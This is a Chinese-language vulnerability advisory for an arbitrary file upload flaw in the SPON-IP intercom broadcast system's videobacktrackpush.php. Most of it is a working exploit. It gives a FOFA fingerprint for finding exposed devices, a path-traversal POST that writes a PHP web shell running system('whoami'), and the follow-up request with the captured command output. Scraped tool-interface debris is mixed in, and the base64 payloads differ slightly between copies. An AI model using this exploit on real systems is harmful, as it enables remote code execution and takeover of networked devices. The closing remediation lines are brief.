

世邦通信SPON-IP网络对讲广播系统 videobacktrackpush.php 任意文件上传漏洞

世邦通信SPON-IP网络对讲广播系统 videobacktrackpush.php 处存在任意文件上传漏洞。

影响版本

SPON-IP网络对讲广播系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="vendors/toastr-master/build/toastr.min.js"

POC/EXP:

```
POST /php/videobacktrackpush.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

jsondata[caller]=1&jsondata[callee]=../../../../ICPAS/wnmp/www&jsondata[videoename]=r_c_e.php&jsondata[videocontent]=PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTt1bmxbmsoX19GSUxFX18pOW==
```

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描

美化

热加载

构造请求

1

2

3

4

5

6

7

8

9

POST /php/videobacktrackpush.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

jsonData[caller]=1&jsonData[callee]=../../../../ICPAS/Wnmp/WwM&jsonData[videoname]=r_c_e.php&jsonData[videocontent]=PD9waHAgc3lzdGVtKCJ3aG9hbWkiKT1bmxbmsoX19GSUxFX18pOw==

Responses

48bytes / 37ms

美化

编码

Q

1

2

3

4

5

6

7

8

9

10

11

12

13

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 02 Apr 2025 06:50:41 GMT

Content-Type: text/html; charset=utf-8

Connection: close

X-Powered-By: PHP/7.4.7

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Methods: GET,POST,OPTIONS

Content-Length: 54

{ "res": "1", "errors": "upload_r_c_e.php-success!" }

```
GET /r_c_e.php HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1
```

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描

美化

热加载

构造请求

1

2

3

4

5

GET /r_c_e.php HTTP/1.1

Content-Type: application/json

Host: 127.0.0.1

Responses

31bytes / 68ms

美化

渲染

1

2

3

4

5

6

7

8

9

10

11

12

13

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Wed, 02 Apr 2025 06:51:38 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

X-Powered-By: PHP/7.4.7

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Methods: GET,POST,OPTIONS

Content-Length: 30

izjq3mv9jfxfsz\administrator

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本